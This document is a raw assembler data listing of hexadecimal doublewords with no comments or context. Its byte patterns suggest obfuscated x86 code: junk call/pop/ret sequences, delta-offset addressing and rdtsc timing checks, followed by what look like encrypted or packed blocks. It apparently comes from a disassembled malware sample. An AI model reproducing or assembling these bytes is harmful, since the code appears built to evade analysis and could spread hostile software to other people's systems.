		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0A5C35646h
		dd 813F8D91h, 8BD2F689h, 150C6DBDh, 85D86806h, 348168C8h
		dd 0D7862724h, 0C820F68h, 0F000000h, 68Ah, 0F5858900h
		dd 0FF061518h, 150DAD95h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 89678CC5h
		dd 152C758Dh, 99858906h, 8A0618BFh, 239E9DCh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 6E8409C3h, 5B9030BCh, 819D8B89h, 8B061512h, 151005BDh
		dd 91858B06h, 6A0618BFh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0A9A3C356h,	698D8944h
		dd 23061503h, 1533D19Dh, 1800C706h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 34FC356h, 762ABC28h,	0B58BEF6Fh, 618BF95h, 0EE9h, 0F514F200h
		dd 8380DECCh, 9FA15158h, 8B05841Eh, 150C4585h, 25B52906h
		dd 89061523h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 76D30D94h, 8B102966h, 68B0FD9h, 31000000h
		dd 1526358Dh, 9D858B06h, 60061524h, 0DE9h, 977ABC00h, 5B7821A2h
		dd 67D38CD1h, 61FC3DB7h, 6A044689h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 28E3C355h
		dd 49DEA71Ch, 6650962Ch, 505BDF8Bh, 8C0Fh, 6A960000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0D315C355h, 544B8F5Eh, 0BD8B1BC7h, 6152555h,	0BF91B5FFh
		dd 6A0618h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0B6C4E8C3h, 13E9B8h, 0F4C60000h, 0FBAE64D6h
		dd 0D2035939h, 0D5F975E2h, 1A83FA23h, 0E2A76849h, 14E864B8h
		dd 70000000h, 53EC24D4h, 0C207E36h, 17E6FEA6h, 7E265A71h
		dd 51E97990h, 5F5BDA8Bh, 58243481h, 6A64A7E1h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 6F73C353h, 0BF99858Dh, 9D290618h, 61516F1h, 10E890h
		dd 7AAA0000h, 72E78175h, 6F5DABC3h, 544538CCh, 52500629h
		dd 585A310Fh, 860F505Fh, 1Ch, 8D0F5250h, 0
		dd 0AE8310Fh, 10000000h, 51FEEB17h, 0DAFAA8AFh,	585A5F00h
		dd 1DC78190h, 0FF0B9647h, 150DAD95h, 0A1BD8906h, 61061512h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0A3C35242h
		dd 9D8B4609h, 615166Dh,	111585C7h, 30615h, 83FC0000h, 18BF99BDh
		dd 840F0006h, 2Ah, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 2DC35141h, 2A806F81h,	1FE9F9h, 8B660000h
		dd 3050F5DEh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 0DD9D89C0h, 29061515h, 1512BD8Dh,	15BD8306h
		dd 3061511h, 3AD850Fh, 0A0B30000h, 0BF99BD83h, 0F000618h
		dd 39E84h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0E09A5B2Bh, 0BF99B5FFh, 6A0618h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 521FDCC3h, 5FE58F18h, 0BB66FB5Dh, 95FF383Ch,	61510E1h
		dd 9C2ABF66h, 0BF8DB58Bh, 6A0618h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0B6ECD9C3h, 0BC0DC5BFh
		dd 106C742h, 89000100h,	15269D8Dh, 34895006h, 0D9BD8B24h
		dd 0FF06151Ch, 18BF99B5h, 0B5BF6606h, 0A195FF79h, 89061506h
		dd 15192185h, 8DB58B06h, 6A0618BFh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 1C33C356h
		dd 159938C0h, 0BE9h, 0AE9AC100h, 5A67C091h, 0F50B0D3Ch
		dd 59858Bh, 12E80615h, 0F5000000h, 6112566Bh, 4275C5B1h
		dd 0CB21276Ch, 849D9627h, 0B70F6032h, 895B61CEh, 0C486h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0C78166ACh, 958BBD0Dh, 6152721h,	6880Fh
		dd 8D010000h, 61512D5h,	6A04C283h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 537FC350h
		dd 0EE04D3DBh, 0A9BD8BF2h, 8906152Ah, 0F3812050h, 76A31484h
		dd 0D458858Dh, 6A0618h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 8937BBC3h, 0B886h, 0E3816000h, 45CE2AFAh
		dd 61DFBF0Fh, 0BD03006Ah, 61520C1h, 26FDBD03h, 0B5FF0615h
		dd 618BF99h, 0A860BF66h, 1D4D95FFh, 9D890615h, 6150A8Dh
		dd 8ABF6696h, 820F5088h, 3, 96D98B66h, 599D8BFCh, 0FF061518h
		dd 18BF99B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 268152DEh, 0FEB16ABh, 2995FFE1h
		dd 6A061507h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 7E7CC355h, 65BD832Eh, 61500h
		dd 32840Fh, 0B70F0000h,	348950FBh, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 427D973h, 5E973C2h
		dd 8A000000h, 3A37452Dh, 0BF99B5FFh, 6A0618h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 4FAF4EC3h
		dd 0F16577Dh, 68Ah, 719D8900h, 8B061503h, 151A059Dh, 3995FF06h
		dd 6A061504h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 6702C352h, 0EDD9098Ch,	0F780659Ch
		dd 99B5FFFCh, 6A0618BFh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 2FEBC353h, 0DAEF2475h
		dd 0BFC92E63h, 7BD52440h, 0DCD95FFh, 6A0615h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0DA7DB8C3h
		dd 31F8FB8Bh, 1522F18Dh, 5DBD8306h, 2061528h, 45840Fh
		dd 0BD8B0000h, 61520C1h, 2849858Bh, 0BF0F0615h,	119589FFh
		dd 0C6061523h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 37651EC3h, 0FB46AC5Ah, 0BF0FE251h
		dd 61BD89D9h, 0C7061516h, 1523F585h, 6,	0DE900h, 0EF5C0000h
		dd 0FF6CFA22h, 0CDD826DCh, 0E948E619h, 0FFFFF465h, 8551BB66h
		dd 840FC18Bh, 6, 18C5B589h, 858D0615h, 615279Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 78C35646h, 2860F90h
		dd 52000000h, 6060505Bh, 8C0F6160h, 0
		dd 89906161h, 150A319Dh, 81006A06h, 99FD07D3h, 0E9006A5Ah
		dd 6, 0F936D48Ah, 858D8250h, 6199257h, 17F19D01h, 0C0830615h
		dd 9E905h, 0C0B70000h, 44B7788Dh, 907FAB75h, 659B55BBh
		dd 52505016h, 753BF66h,	880F310Fh, 0Ch,	6E8h, 0B6684C00h
		dd 5FA6BA44h, 6A90585Ah, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 79E7C355h, 0F0A31DC6h
		dd 8D0F8Ah, 66000000h, 0EFBD381h, 8166006Ah, 6A22D6CBh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 4D5B04AEh, 9AE2A9D9h, 0B589DE81h, 6152DD9h
		dd 26119589h, 95FF0615h, 6152679h, 6870Fh, 0BD8B0000h
		dd 6151565h, 9C158D8Dh,	9D8B0618h, 6151989h, 6AD1FFh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0FE8BACC3h, 4E9BD8Bh, 0BD830615h, 6152DB5h, 0B3850F01h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0B5A5C356h, 0F94B028Bh, 6A026Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0D1F010C3h, 2004BDBBh, 85295B12h, 6152E99h, 503AB790h
		dd 7E8h, 0AD8A1000h, 0D9B563B7h, 0C00AAABBh, 6A905F70h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0AB77C353h, 60608671h, 2341858Bh,	860F0615h
		dd 0
		dd 68B0F61h, 0F000000h,	8Eh, 95FF6100h,	6151D4Dh, 81665060h
		dd 5A03E4E6h, 31286DBEh, 0CDE96167h, 0E800000Dh, 0
		dd 61ED815Dh, 80061992h, 0B5BBE0E3h, 0F93F70C1h, 88F9858Dh
		dd 6A0618h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 20E41EC3h, 15BD8B32h, 89061534h, 150D118Dh
		dd 4895006h, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0F88B0F4Dh, 35FF64h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0E4EFC357h, 314F86E3h, 1503918Dh, 25896406h,	0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 6C35747h
		dd 3585FFB7h, 6A061515h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0E959C356h,	31B5AB1Bh
		dd 8D295C80h, 61518D9h,	0FE9FF6Ah, 4F000000h, 0EED9B8CEh
		dd 0F4673A6Dh, 402B2601h, 0BD2BE1AFh, 61500F1h,	10F1B5FFh
		dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 8EA6DCC3h, 0FF57A119h, 1508BD95h,	0FCE906h
		dd 81660000h, 0B0131DC7h, 68C0F00h, 3000000h, 150A2DBDh
		dd 6670E606h, 0E4C6B8BFh, 613CFC71h, 0D8830Fh, 0FF50000h
		dd 6BAC8B6h, 1000000h, 151D01B5h, 89C18B06h, 15169D9Dh
		dd 4E8C106h, 6DBD8Bh, 0F7660615h, 1BD89E2h, 2B061524h
		dd 0FDBD8BC8h, 8B061510h, 28B0FD1h, 60000000h, 0F58D8961h
		dd 0E9061518h, 6, 1DE5BD89h, 858B0615h,	6152C69h, 899D8B56h
		dd 5B061500h, 8B07C083h, 1511219Dh, 0C08306h, 830FD03Bh
		dd 15h,	1A618D89h, 5FE90615h, 0F000000h, 486h, 0AABB6600h
		dd 798D8B22h, 8B061510h, 150AA9BDh, 1E18306h, 40840Fh
		dd 0A5830000h, 6151079h, 14E8FEh, 0DC9A0000h, 0A8084BB3h
		dd 1924AFDDh, 0A86539EFh, 3C4B1770h, 6E84C8Ch, 65000000h
		dd 80BCDE50h, 5FFE8A31h, 6995895Bh, 8B06152Ch, 15182DBDh
		dd 0E906h, 0B58D0000h, 6191657h, 165D9D89h, 6A0615h, 12E8h
		dd 0DF82C900h, 59EE4D2Eh, 0C5152DDAh, 0E7F68451h, 0B75A2D11h
		dd 95FF5BFFh, 6152E21h,	0B9FEB70Fh, 836h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 71C35242h, 0EF273A2Dh
		dd 13E97907h, 6B000000h, 58164671h, 0AC76E9AAh,	71E17062h
		dd 3344F57Ch, 0BD01B8DDh, 6150CF5h, 0FCFCE183h,	0CE5BD89h
		dd 0E9FC0615h, 0Eh, 2ED5B228h, 0EE25DEABh, 0E8DA52C1h
		dd 0B8E9D7h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0DCCDC355h,	0DB80D22Bh
		dd 0C233ADB9h, 0D003E8D1h, 7504E983h, 57006AF4h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 0D60104FCh, 3BBBA7AFh, 6C99D8Bh, 6A0615h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 560746C3h
		dd 0E1852360h, 0E9061528h, 14h,	271EF01h, 0D749429h, 0B98AB433h
		dd 84FDE05Bh, 9914A692h, 880D61h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 69D12EC3h
		dd 8B3EDDB1h, 15272195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 427D973h, 0AD7873C2h
		dd 5F5B5751h, 4CD8D8Bh,	6A0615h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 8B509DC3h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 2F75BD33h, 0BD830615h
		dd 61518A9h, 6D840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 31C356h
		dd 9227070Dh, 0DED9D0Bh, 0B80615h, 89000000h, 151735B5h
		dd 9E8D8D06h, 8906154Fh, 150AB19Dh, 6AE1FF06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 625EC351h, 5F26FD7Ah, 0DF816614h, 0DF813506h, 6C4BA87Bh
		dd 1115BD83h, 0F000615h, 47B84h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 43440580h
		dd 0A2D8BF64h, 0BD83304Bh, 6151115h, 64840F01h,	6A000004h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 4E42C350h, 0BD8B6A26h, 6151605h, 1115BD83h
		dd 0F030615h, 3FC86h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0F5FE20Ch, 0F60FEBFh
		dd 68Ah, 0DD958900h, 66061526h,	6AD98Ch, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0E2212CC3h
		dd 0E1801662h, 56006A04h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 89064D36h, 150A5585h
		dd 0D59D8B06h, 0A061521h, 0F3840FC9h, 8B000000h, 15249D85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 74BEDD31h, 0BB67B3BFh, 4DA9524Ah, 19B58533h
		dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0E8ECEBC3h, 0FE95029h, 61000000h,	0A3BD6879h
		dd 61808C50h, 2C2638D7h, 48971A3h, 7E924h, 0F7800000h
		dd 0B9928945h, 0BF006A93h, 43E5DAB8h, 0D11E1768h, 38B0F80h
		dd 66000000h, 481DF8Bh,	4DE5E824h, 89AFB37Fh, 1521E1B5h
		dd 0AD95FF06h, 6A06150Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0C1ABC356h,	274D91E5h
		dd 0BF998589h, 6A0618h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 353256C3h, 0E9FB17E0h, 201h, 2D99BD03h
		dd 858B0615h, 618BF91h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 4AC35747h, 4AB20722h,	859BEB81h, 0C77902h
		dd 18h,	55BD8950h, 5F061527h, 2E15BD29h, 0B58B0615h, 618BF95h
		dd 792FBB60h, 0B2B966ECh, 613E2CAFh, 0C45858Bh,	6A0615h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0B70F3DC3h, 0D8BF66DAh, 6A06896Eh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 1265C350h
		dd 8D54D9AEh, 5AB86660h, 0A5958B07h, 6106152Fh,	249D858Bh
		dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 6315DBC3h, 0F98589D3h, 66061501h,	4689DA8Bh
		dd 0BE666004h, 0E880E4D3h, 8B9661E1h, 525050FAh, 0BE85250h
		dd 73000000h, 0B5ACFF7Ch, 5231F78Ch, 0F5F72EAh,	830F31h
		dd 5A000000h, 0E8310F58h, 5, 6B6E0D71h,	5F616071h, 8996585Ah
		dd 1526658Dh, 91B5FF06h, 0E90618BFh, 13h, 841389A4h, 27751858h
		dd 70A1C890h, 98F42096h, 681F49C3h, 4F90E284h, 81D88B66h
		dd 0E17B2434h, 8D894F8Fh, 6151D0Dh, 0BF99858Dh,	6A0618h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 5083B8C3h, 0C5B4F4ACh, 315241DAh, 1516B99Dh,	50905B06h
		dd 0F98B6652h, 8E8310Fh, 3000000h, 295B701Ch, 66F2E6B3h
		dd 5A5FD98Bh, 0FE85058h, 0F1000000h, 139675B1h,	5A11EAEBh
		dd 5F61B8C6h, 0BF57BFF9h, 3F2FCE56h, 80905B5Fh,	95FF7EC7h
		dd 6150DADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0E0C35747h, 0D75094D5h,	7E96061h, 10000000h, 1811D81Ah
		dd 0B58B1D04h, 61527FDh, 6A6161h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0D62456C3h, 0FD858954h
		dd 0C7061509h, 15111585h, 306h,	699D0300h, 83061518h, 18BF99BDh
		dd 840F0006h, 45h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 39C35242h, 0DC2C3934h, 38083BDDh
		dd 37E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0C3050CFh, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 0EEC35545h, 81DCD02Ah, 0CF81C188h, 4787CACCh
		dd 91DBD8Bh, 0BD830615h, 6151115h, 19850F03h, 6A000004h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0FEE0C357h, 0D9FB8E78h, 0EF81665Fh, 9D297AEAh
		dd 6150A6Dh, 0BF99BD83h, 0F000618h, 3DF84h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 60F0194Fh, 850F3269h, 8, 41B58B60h, 61061503h, 0BF99B5FFh
		dd 0BF0F0618h, 0E195FFF8h, 6A061510h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 3EA7C357h
		dd 0C2E340CFh, 0E99531E8h, 8B061517h, 18BF8DB5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 7E21B031h, 6240C8F9h, 8166753Ch, 0B7BFD8E7h,	106C779h
		dd 8B000100h, 150DEDBDh, 0EABF5006h, 891E95A8h,	6A2434h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0A579D4C3h, 531BB3F1h, 5FD9BF0Fh, 0BF99B5FFh, 9D330618h
		dd 6150BF1h, 6A195FFh, 0B58B0615h, 618BF8Dh, 0BE9h, 1F11A900h
		dd 0F18D271h, 0A957F6B4h, 59858Bh, 0F600615h, 68Dh, 3DB58B00h
		dd 60061517h, 20C58509h, 858B0615h, 6151D11h, 86896161h
		dd 0C4h, 8840Fh, 8C0F0000h, 2, 958B8FB3h, 6152721h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 98C35040h, 0A156284Dh
		dd 0D55993B6h, 1858952h, 5B061515h, 6A04C283h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0A46FC351h, 7E76DB08h, 0D7EF3760h, 97CF80FCh, 80205089h
		dd 858D76EBh, 618D458h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 6DC35242h, 256A44E6h,	8689B8F2h, 0B8h
		dd 6AA8D380h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 36A2EAE2h, 0BEC6C8CFh, 85898E2Fh
		dd 6150965h, 0BF99B5FFh, 81660618h, 0FF2C7ECFh,	151D4D95h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 77BD5489h, 50F8448Bh, 0EE9h, 0FEDB1000h
		dd 0CF0EC2C1h, 0F1153110h, 895D933Ah, 9D892434h, 61516C5h
		dd 0FE9h, 0B37AA000h, 1F750089h, 0D3B57DB5h, 0E1C0BB7Eh
		dd 0BF99B5FFh, 85890618h, 6152AEDh, 72995FFh, 0CE80615h
		dd 9B000000h, 0D5F50F3Fh, 0FEFF3E57h, 0E90CEB1Dh, 13h
		dd 0F0F627EBh, 1028E7C7h, 49278430h, 0CDABE4Bh,	5F5E8640h
		dd 6890Fh, 9D8B0000h, 61523DDh,	65BD83h, 0F000615h, 3684h
		dd 61F96000h, 98BB6650h, 243489F6h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0D8C35747h,	2FCEBCACh, 2B1141Eh
		dd 0A19D8BE9h, 0FF061504h, 18BF99B5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 0BD9F56AEh, 0C2D31900h, 0FFF934F8h, 15043995h, 99B5FF06h
		dd 330618BFh, 1511599Dh, 0CD95FF06h, 6A06150Dh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0E24C351h, 60A427B9h, 26259D89h, 0B5030615h,	6151D25h
		dd 5DBD8361h, 2061528h,	63840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0FA6AD3C3h
		dd 65CD4CE4h, 0F1DE1E4h, 858BDAB7h, 6152849h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 3EC35545h, 82CC99D1h
		dd 66BE3F04h, 0E58D3161h, 0C606150Ch, 0BF510000h, 6DDC103h
		dd 0F585C75Bh, 61523h, 0E9000000h, 0Ch,	0FDCA9BE4h, 4E731876h
		dd 4268E8E5h, 0FFF367E9h, 55006AFFh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0C9D66382h
		dd 0DE829E5h, 9000000h,	90B6CCEDh, 0F29EC761h, 27A3FA43h
		dd 28699D8Bh, 815B0615h, 0B9A2ECCFh, 8BC18B76h,	665651D8h
		dd 5B5BFE8Bh, 1BE9h, 0C81BD500h, 5Ch, 5	dup(0)
		dd 52AE9h, 0A4147200h, 6FDF62D1h, 0AC1C9986h, 66D65AC9h
		dd 0B222A08Fh, 0CCC7C4E3h, 817FE6Eh, 0D15E37A7h, 0BD720373h
		dd 9C27CE3Eh, 52CE13B2h, 0ECAD169Fh, 57C72450h,	80F0525Fh
		dd 0FC25A0BEh, 7F1086F2h, 82B1BCAEh, 8CA59101h,	6A77BF2Fh
		dd 0FA1FA607h, 811086F2h, 7979FB0h, 199A2DA0h, 5C82CCA9h
		dd 86F2A0E9h, 907A4B10h, 0ADB121A3h, 581EF5A8h,	412955BCh
		dd 0F7FFD32h, 25951A07h, 3CA312F1h, 0A5B9298Bh,	83C50CB7h
		dd 9FA81086h, 0F0E39844h, 2AC0EF24h, 0CB57D44Bh, 0CEBFF767h
		dd 0C30C55F0h, 0DEEF1086h, 1E3EC5F1h, 521086C3h, 9F9482F2h
		dd 906DA919h, 86B020A3h, 0E3CAC3h, 18319C1Dh, 97A84B95h
		dd 701Bh, 0C724EF00h, 0CA2A8757h, 0FF86B05Ah, 1086F2D8h
		dd 0A91C421Ch, 1086F260h, 577A490Bh, 161086F2h,	4A0D2A05h
		dd 1F95D998h, 903F7A10h, 0A84234B9h, 12BC97h, 0ECF20000h
		dd 86D63059h, 0E8B95210h, 3671BF60h, 69D1B98Ah,	6155C524h
		dd 0BD81F150h, 0F2FD249Fh, 0AF801086h, 0E06051BBh, 43AA4670h
		dd 56C62B9Ch, 54C42B88h, 0EE7D6D62h, 0C352C241h, 56C62475h
		dd 7EEE5360h, 74BD8138h, 2C8C87F7h, 0E5857ABCh,	0C2EF03AAh
		dd 0FA37D343h, 0F5101078h, 0A1397ABDh, 0BB38E78Eh, 0D7564B4Bh
		dd 5ED92F67h, 607FDA6Fh, 73E597A8h, 0C1000000h,	6056C624h
		dd 78BE597Eh, 11AF8A2Dh, 0CD3DB879h, 0DFCE55C9h, 9A298AE8h
		dd 10860477h, 340A25F6h, 4769B2Ah, 24F51086h, 7AF82746h
		dd 91170C0Ah, 1C93F521h, 124598B1h, 62AB97A9h, 7F000000h
		dd 6056C624h, 0BCE5607Eh, 3F1086F2h, 2D8F7C6Eh,	32FC79BDh
		dd 0F270992Ch, 2AFB1086h, 8C665940h, 6254C427h,	0F97CDA75h
		dd 6F409E65h, 0BC2C8E7Bh, 0C52453D9h, 0CB288955h, 0D2715B5Bh
		dd 1086F28Fh, 98725D6Eh, 0F2F7179Eh, 27F31086h,	0B2DBA2Eh
		dd 503ADDABh, 66D37669h, 0EE97A8FAh, 1,	3DC924CAh, 5D614EBEh
		dd 0F29DC47Fh, 5E601086h, 86F2A2E7h, 57784910h,	0B6879B3h
		dd 0F1989B9Bh, 3CAC09BEh, 43B31122h, 1ADECCA7h,	0D571D4EAh
		dd 68169BFCh, 0F1525F57h, 0F974BD81h, 9D92E189h, 0D68AE1Eh
		dd 1693F8C6h, 0EC2A9A18h, 160070F7h, 662A9A1Dh,	0B413D0FFh
		dd 1B18DA05h, 0D0412999h, 0E8720373h, 0BDF969CBh, 8AE92AC0h
		dd 0A4071C1Ah, 0A8092A34h, 6901FE38h, 0C131B6ABh, 0F060DCD5h
		dd 0E5D841C6h, 3BA20BFEh, 0D6BF2F8Ch, 0BD245ECBh, 159E69Dh
		dd 0ABC20000h, 0D903DB0Bh, 5B3F4AFCh, 0BCAE2C37h, 9B2F91E1h
		dd 1B1B2C16h, 6035A506h, 0F0A2D9FEh, 0BA842B49h, 70E063D0h
		dd 5ECE2D46h, 76E64B58h, 62D23340h, 8A35BC34h, 0D609B059h
		dd 532292F1h, 0BD3ADB5Eh, 82619Dh, 0AB350000h, 0DE00DE0Eh
		dd 86F22267h, 12F8C910h, 0B4C124Ch, 589DBE2h, 0DC05A083h
		dd 9F1086E2h, 0B8C1DC8Eh, 0E19086E2h, 820C23F4h, 370724AEh
		dd 86BA458Ch, 73172890h, 0C1447243h, 9086BA98h,	0AFE757D6h
		dd 0E6D040C2h, 0E7FCE34Ah, 876B52B9h, 8757C72Ah, 86BA95BCh
		dd 0A3475890h, 421C4CEDh, 86BA7E83h, 14969B10h,	0C1D2C6A4h
		dd 91342A34h, 1086BA48h, 1C886233h, 97h, 31A12112h, 0BA620805h
		dd 6EDE624Fh, 3262167Ch, 619992Ch, 1B24169Ch, 73F69193h
		dd 6BE83403h, 372C6A45h, 82B144B4h, 1EA59101h, 1693A0FCh
		dd 1DAA1584h, 5F472E9Eh, 0F44F6F9Fh, 10B5C6FBh,	9F6DA97Ah
		dd 78BE2E92h, 0C526E387h, 0F0538955h, 1CA806A9h, 6DA74354h
		dd 9EB01F86h, 0CA94AADAh, 6E83194h, 91931CA8h, 0A806EF32h
		dd 92BD8E1Ch, 66D2CDF8h, 64911A8Eh, 0A2BC9303h,	7508D6B5h
		dd 9B2A0380h, 2CED976h,	5F0B24F5h, 5C0D4A14h, 2953EF4Dh
		dd 0AB9C806Ah, 4003DB0Bh, 16A0924Fh, 13F93D0Eh,	3E2C9C1Eh
		dd 0F3066ECDh, 773BB2B6h, 0ACA9B59Ah, 0AE6539C0h, 0C6A54523h
		dd 546ADA59h, 296DDD5Fh, 0FD78B654h, 6D415A8Ch,	428538BFh
		dd 6FC451C1h, 899A9C0Ch, 847FB727h, 9E1DAA15h, 5BD8472Eh
		dd 0D0E1ABEBh, 1787E975h, 69012E1Fh, 839h, 0C1426F00h
		dd 2F81B951h, 5ACA244Bh, 74E4475Ch, 63D33142h, 49B93E33h
